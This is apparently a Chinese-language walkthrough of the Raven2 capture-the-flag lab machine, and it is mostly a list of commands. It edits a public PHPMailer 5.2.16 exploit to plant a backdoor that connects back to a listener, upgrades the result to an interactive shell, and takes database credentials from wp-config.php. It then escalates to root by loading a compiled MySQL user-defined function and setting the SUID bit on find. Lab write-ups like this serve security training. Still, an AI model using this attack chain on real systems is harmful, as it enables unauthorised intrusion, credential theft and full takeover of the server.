arp-scan -l
nmap -p- 192.168.19.145
发现文件夹vendor
访问此目录
在PATH路径下发现了flag1
在README.md文件中发现PHPMailer
在VERSION中发现版本5.2.16
寻找PHPMailer 5.2.16 的exp
search 40974
将exp文件拷贝到新建的raven2文件夹下
修改参数:
41行:改下地址:http://192.168.19.145/contact.php
42行:后门名称:/raven2.php
44行:改下回弹的IP和端口 192.168.19.147 6666
47行:改下写入shell的目录:/var/www/html/raven2.php
python3 40974.py
执行一下此py文件,然后访问路径
http://192.168.19.145/contact.php
此时已生成后门文件raven2.php文件
开启监听nc -vlp 6666
访问http://192.168.19.145/raven2.php
拿到shell
建立一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查找一下看有没有flag
find / -name flag*
发现两个flag
flag2
flag3
来到wordpress目录,然后进行枚举
grep "password" -rn wp-config.php
查看上下文,拿到用户名root 密码R@v3nSecurity 数据库名wordpress
连接数据库
mysql -uroot -pR@v3nSecurity
select version(); 查看数据库版本
show databases; 查看数据库名
use wordpress 切换到wordpress数据库
show tables; 查看表名
select * from wp_users; 查看wp_users表中的所有内容
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
打开一个新的窗口
searchsploit 1518.c
将文件拷贝下来
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o raven2.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
将文件传值靶机
回到数据库中,这次使用mysql数据库
创建表raven2,并把刚才上传的文件插入表中
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/raven2.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'raven2.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令
find / -exec "/bin/sh" \;
来到root目录下,拿到flag4.txt